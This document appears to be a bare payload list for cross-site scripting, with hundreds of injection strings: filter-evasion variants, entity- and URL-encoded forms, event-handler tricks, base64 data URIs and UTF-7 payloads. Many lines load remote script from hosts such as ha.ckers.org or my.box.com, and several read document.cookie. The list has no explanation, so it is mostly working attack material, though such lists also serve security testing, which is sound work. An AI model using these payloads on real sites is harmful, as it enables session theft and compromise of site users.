&lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
'scriptuconfirm(EXSSE)'/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;confirm('XSS');\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;confirm('XSS');\"
&lt;IFRAME SRC=\"javascript&#058;confirm('XSS');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;confirm('XSS');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;confirm('XSS')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;confirm('XSS')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;confirm('XSS'))\"&gt;
&lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
&lt;DIV STYLE=\"width&#58; expression(confirm('XSS'));\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;confirm(\"XSS\")';&lt;/STYLE&gt;
&lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(confirm('XSS'))\"&gt;
&lt;XSS STYLE=\"xss&#58;expression(confirm('XSS'))\"&gt;
exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
xss&#58;ex&#x2F;*XSS*//*/*/pression(confirm(\"XSS\"))'&gt;
&lt;STYLE TYPE=\"text/javascript\"&gt;confirm('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;confirm('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;confirm('XSS')\")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;confirm('XSS');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF=\"javascript&#058;confirm('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;confirm('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"confirm('XSS');\\")\";
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;confirm('XSS');\"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;confirm('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
&lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
&lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;confirm(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;confirm(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;confirm('XSS')&lt;/SCRIPT&gt;\"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-confirm('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;
%3C
&lt
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC=\"javascript&#058;confirm('XSS')\"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;confirm(\"XSS\");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=confirm(\"XSS\")&gt;
&lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC=\"   javascript&#058;confirm('XSS');\"&gt;
perl -e 'print \"&lt;SCR\0IPT&gt;confirm(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java\0script&#058;confirm(\\"XSS\\")&gt;\";' &gt; out
&lt;IMG SRC=\"jav&#x0D;ascript&#058;confirm('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x0A;ascript&#058;confirm('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x09;ascript&#058;confirm('XSS');\"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;confirm('XSS')&gt;
&lt;IMG SRC=javascript&#058;confirm(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;confirm(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
&lt;IMG SRC=`javascript&#058;confirm(\"RSnake says, 'XSS'\")`&gt;
&lt;IMG SRC=javascript&#058;confirm(&quot;XSS&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;confirm('XSS')&gt;
&lt;IMG SRC=\"javascript&#058;confirm('XSS');\"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
'';!--\"&lt;XSS&gt;=&{()}
';confirm(String&#46;fromCharCode(88,83,83))//\';confirm(String&#46;fromCharCode(88,83,83))//\";confirm(String&#46;fromCharCode(88,83,83))//\\";confirm(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;confirm(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC=javascrscriptipt:confirm('XSS')>
<IMG SRC=JaVaScRiPt:confirm('XSS')>
<IMG SRC=" &#14;  javascript:confirm('XSS');">
<SCRIPT>a=/XSS/confirm(a.source)</SCRIPT>
'script'confirm('XSS')'/script'
exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(confirm("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;confirm(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<form id="test" /><button form="test" formaction="javascript:confirm(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:confirm(123)">crosssitespt
<frameset onload=confirm(123)>
<!--<img src="--><img src=x onerror=confirm(123)//">
<style><img src="</style><img src=x onerror=confirm(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<script>({0:#0=confirm/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){confirm(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('confirm(1)')()</script>
<script src="#">{confirm(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'confirm(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>confirm(1)</script></svg>
<svg onload="javascript:confirm(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:confirm(1)"></iframe>
+ADw-script+AD4-confirm(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-confirm(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-confirm(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-confirm%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253econfirm(document.cookie)%253c/script%253e
'><ScRiPt>confirm(document.cookie)</script>
'><<script>confirm(document.cookie);//<</script>
foo<script>confirm(document.cookie)</script>
<scr<script>ipt>confirm(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
'; confirm(document.cookie); var foo='
foo\'; confirm(document.cookie);//';
</script><script >confirm(document.cookie)</script>
<img src=asdf onerror=confirm(document.cookie)>
<script>confirm(1)</script>
"><script>confirm(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=confirm(1)>
<audio src=1 onerror=confirm(1)>
%27%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%61%6c%65%72%74%28%39%32%30%35%29%20%62%61%64%3d%27
%25%32%37%25%32%30%25%36%66%25%36%65%25%36%64%25%36%66%25%37%35%25%37%33%25%36%35%25%36%66%25%37%36%25%36%35%25%37%32%25%33%64%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%39%25%33%32%25%33%30%25%33%35%25%32%39%25%32%30%25%36%32%25%36%31%25%36%34%25%33%64%25%32%37
'-confirm(1)-'
%3Cmarquee%3Econfirm(%20%60X%20:)%60)%3C/marquee%3E  
%22%3E%3Cmarquee%3Econfirm(%20%60X%20:)%60)%3C/marquee%3E  
'%3E%3Cmarquee%3Econfirm(%20%60X%20:)%60)%3C/marquee%3E  
%3C%22script%22%3E%22confirm(0)%22%3C/%22script%22%3E  
%22%3E%3C%22script%22%3E%22confirm(0)%22%3C/%22script%22%3E  
'%3E%3C%22script%22%3E%22confirm(0)%22%3C/%22script%22%3E  
%3Cs[NULL]cript%3Econfirm(1)%3C/s[NULL]cript%3E'%3EX%3C/a%3E  
%22%3E%3Cs[NULL]cript%3Econfirm(1)%3C/s[NULL]cript%3E'%3EX%3C/a%3E  
'%3E%3Cs[NULL]cript%3Econfirm(1)%3C/s[NULL]cript%3E'%3EX%3C/a%3E  
%3Cvideo%3E%3Csource%20o?UTF-8?Q?n?error=%22confirm(1)%22%3E  
%22%3E%3Cvideo%3E%3Csource%20o?UTF-8?Q?n?error=%22confirm(1)%22%3E  
'%3E%3Cvideo%3E%3Csource%20o?UTF-8?Q?n?error=%22confirm(1)%22%3E  
%3Cbody%20scroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20scroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20scroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
%3Cmeta%20charset=%22x-mac-farsi%22%3E%C3%82%C2%BCscript%20%C3%82%C2%BEconfirm(1)//%C3%82%C2%BC/script%20%C3%82%C2%BE  
%22%3E%3Cmeta%20charset=%22x-mac-farsi%22%3E%C3%82%C2%BCscript%20%C3%82%C2%BEconfirm(1)//%C3%82%C2%BC/script%20%C3%82%C2%BE  
'%3E%3Cmeta%20charset=%22x-mac-farsi%22%3E%C3%82%C2%BCscript%20%C3%82%C2%BEconfirm(1)//%C3%82%C2%BC/script%20%C3%82%C2%BE  
%3Cx%20onload'=confirm(1)  
%22%3E%3Cx%20onload'=confirm(1)  
'%3E%3Cx%20onload'=confirm(1)  
%3Csc'+'ript%3Econfirm(1)%3C/script%3E  
%22%3E%3Csc'+'ript%3Econfirm(1)%3C/script%3E  
'%3E%3Csc'+'ript%3Econfirm(1)%3C/script%3E  
%3CFRAMESET%3E%3CFRAME%20RC=%22%22+%22javascript:confirm('X');%22%3E%3C/FRAMESET%3E  
%22%3E%3CFRAMESET%3E%3CFRAME%20RC=%22%22+%22javascript:confirm('X');%22%3E%3C/FRAMESET%3E  
'%3E%3CFRAMESET%3E%3CFRAME%20RC=%22%22+%22javascript:confirm('X');%22%3E%3C/FRAMESET%3E  
%3C/script%3E%22//'//%3Csvg%0Aonload=confirm(1)//%3E  
%22%3E%3C/script%3E%22//'//%3Csvg%0Aonload=confirm(1)//%3E  
'%3E%3C/script%3E%22//'//%3Csvg%0Aonload=confirm(1)//%3E  
'//%3C/script%3E%3Csvg%20%22%0aonload=confirm(1)%20//%3E  
%3C/script%3E'//%3Csvg%20%22%0Aonload=confirm(1)%20//%3E  
%22%3E%3C/script%3E'//%3Csvg%20%22%0Aonload=confirm(1)%20//%3E  
'%3E%3C/script%3E'//%3Csvg%20%22%0Aonload=confirm(1)%20//%3E  
'//%3C/script%3E%3Csvg%20%22%0Aonload=confirm(1)//%20/%3E  
%3C/script%3E%22//'//%3Csvg%0Aonload=confirm(1)%20//%3E  
%22%3E%3C/script%3E%22//'//%3Csvg%0Aonload=confirm(1)%20//%3E  
'%3E%3C/script%3E%22//'//%3Csvg%0Aonload=confirm(1)%20//%3E  
%3C/script%3E'//%3Csvg%20%22%0Aonload=confirm(1)//%20/%3E  
%22%3E%3C/script%3E'//%3Csvg%20%22%0Aonload=confirm(1)//%20/%3E  
'%3E%3C/script%3E'//%3Csvg%20%22%0Aonload=confirm(1)//%20/%3E  
%3C/script%20%22//'//%3E%3Csvg%0Aonload=confirm(1)//%3E  
%22%3E%3C/script%20%22//'//%3E%3Csvg%0Aonload=confirm(1)//%3E  
'%3E%3C/script%20%22//'//%3E%3Csvg%0Aonload=confirm(1)//%3E  
';//%3C/script%3E%3Csvg%20%22;%0Aonload=confirm(1)//%20/%3E  
%3C/script%3E%3Cimg%20src%20'//%22%0Aonerror=confirm(1)//  
%22%3E%3C/script%3E%3Cimg%20src%20'//%22%0Aonerror=confirm(1)//  
'%3E%3C/script%3E%3Cimg%20src%20'//%22%0Aonerror=confirm(1)//  
%3C/script%3E%3Csvg%20onload='-/%22/-[confirm(1)]//'/%3E  
%22%3E%3C/script%3E%3Csvg%20onload='-/%22/-[confirm(1)]//'/%3E  
'%3E%3C/script%3E%3Csvg%20onload='-/%22/-[confirm(1)]//'/%3E  
%3C/script%3E%3Cimg%20'//%22%0Aonerror=confirm(1)//%20src%3E  
%22%3E%3C/script%3E%3Cimg%20'//%22%0Aonerror=confirm(1)//%20src%3E  
'%3E%3C/script%3E%3Cimg%20'//%22%0Aonerror=confirm(1)//%20src%3E  
%3C/script%3E%3Cimg%20'//%22%0Aonerror=confirm(1)//%20src=1%3E  
%22%3E%3C/script%3E%3Cimg%20'//%22%0Aonerror=confirm(1)//%20src=1%3E  
'%3E%3C/script%3E%3Cimg%20'//%22%0Aonerror=confirm(1)//%20src=1%3E  
%3C/script%20%22/*'/*%3E%3Csvg%20*/;%20onload=confirm(1)%20//%3E  
%22%3E%3C/script%20%22/*'/*%3E%3Csvg%20*/;%20onload=confirm(1)%20//%3E  
'%3E%3C/script%20%22/*'/*%3E%3Csvg%20*/;%20onload=confirm(1)%20//%3E  
%3C/script%3E%3Cscript%3E/*%22/*'/**/;confirm(1)//%3C/script%3E  
%22%3E%3C/script%3E%3Cscript%3E/*%22/*'/**/;confirm(1)//%3C/script%3E  
'%3E%3C/script%3E%3Cscript%3E/*%22/*'/**/;confirm(1)//%3C/script%3E  
%3C/script%20%22/*'/*%3E%3Cimg/src=x%20*/;%20onerror=confirm(1)%20//  
%22%3E%3C/script%20%22/*'/*%3E%3Cimg/src=x%20*/;%20onerror=confirm(1)%20//  
'%3E%3C/script%20%22/*'/*%3E%3Cimg/src=x%20*/;%20onerror=confirm(1)%20//  
%3C/script%3E%3Cscript%3E/*var%20a=%22/*%22%22'/**/;confirm(1);//%3C/script%3E  
%22%3E%3C/script%3E%3Cscript%3E/*var%20a=%22/*%22%22'/**/;confirm(1);//%3C/script%3E  
'%3E%3C/script%3E%3Cscript%3E/*var%20a=%22/*%22%22'/**/;confirm(1);//%3C/script%3E  
%3Ciframe%2
%22%3E%3Ciframe%2
'%3E%3Ciframe%2
'%20style='width:expression(confirm(1));  
%22width:expression(confirm(1))  
width:/0065/0078/0070/0072/0065/0073/0073/0069/006F/006E/0028/0070/0072/006F/006D/0070/0074/0028/0031/0029/0029  
javascript:confirm(1)  
javascript:/u0070rompt&  
jAvAsCrIpT&colon;confirm&lpar;1&rpar;  
http://jsfiddle.net/xboz/c7vvkedv/  
%3CEMBED%20SRC=%22data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH%20A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv%20MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs%20aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw%20IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh%20TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==%22%20type=%22image/svg+xml%22%20AllowScriptAccess=%22always%22%3E%3C/EMBED%3E  
%22%3E%3CEMBED%20SRC=%22data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH%20A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv%20MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs%20aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw%20IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh%20TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==%22%20type=%22image/svg+xml%22%20AllowScriptAccess=%22always%22%3E%3C/EMBED%3E  
'%3E%3CEMBED%20SRC=%22data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH%20A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv%20MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs%20aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw%20IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh%20TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==%22%20type=%22image/svg+xml%22%20AllowScriptAccess=%22always%22%3E%3C/EMBED%3E  
%3CDIV%20STYLE=%22width:/0065/0078/0070/0072/0065/0073/0073/0069/006F/006E/0028/0070/0072/006F/006D/0070/0074/0028/0031/0029/0029%22%3E  
%22%3E%3CDIV%20STYLE=%22width:/0065/0078/0070/0072/0065/0073/0073/0069/006F/006E/0028/0070/0072/006F/006D/0070/0074/0028/0031/0029/0029%22%3E  
'%3E%3CDIV%20STYLE=%22width:/0065/0078/0070/0072/0065/0073/0073/0069/006F/006E/0028/0070/0072/006F/006D/0070/0074/0028/0031/0029/0029%22%3E  
data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=  
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+cHJvbXB0KDEpOzwvc2NyaXB0Pjwvc3ZnPg==  
data:text/html;base64,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=  
data:text/html;,&  
%60%60onerror=confirm(1)  
confirm(/XSS/);  
1;confirm(/XSS/);  
1';confirm(/XSS/);x='1  
';confirm(/XSS/);'  
%3Csvg%3E%3Cscript%3Econfirm&  
%22%3E%3Csvg%3E%3Cscript%3Econfirm&  
'%3E%3Csvg%3E%3Cscript%3Econfirm&  
%3Chtml%3E%20%3Cscript%3E%20var%20a=%22%3C/script%3E%3Cscript%3Econfirm(1)//%22;%3C/script%3E%20%3C/html%3E  
%22%3E%3Chtml%3E%20%3Cscript%3E%20var%20a=%22%3C/script%3E%3Cscript%3Econfirm(1)//%22;%3C/script%3E%20%3C/html%3E  
'%3E%3Chtml%3E%20%3Cscript%3E%20var%20a=%22%3C/script%3E%3Cscript%3Econfirm(1)//%22;%3C/script%3E%20%3C/html%3E  
&  
'';%7D%7D%3C/script%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%3Cbody%20onpageshow=confirm(1)%3E  
%22%3E%3Cbody%20onpageshow=confirm(1)%3E  
'%3E%3Cbody%20onpageshow=confirm(1)%3E  
%3Cbody%20onpageshow=confirm(1);%3E  
%22%3E%3Cbody%20onpageshow=confirm(1);%3E  
'%3E%3Cbody%20onpageshow=confirm(1);%3E  
%3Cbody/onpageshow=confirm(1)%3E  
%22%3E%3Cbody/onpageshow=confirm(1)%3E  
'%3E%3Cbody/onpageshow=confirm(1)%3E  
%3Cbody/onpageshow=confirm(1);%3E  
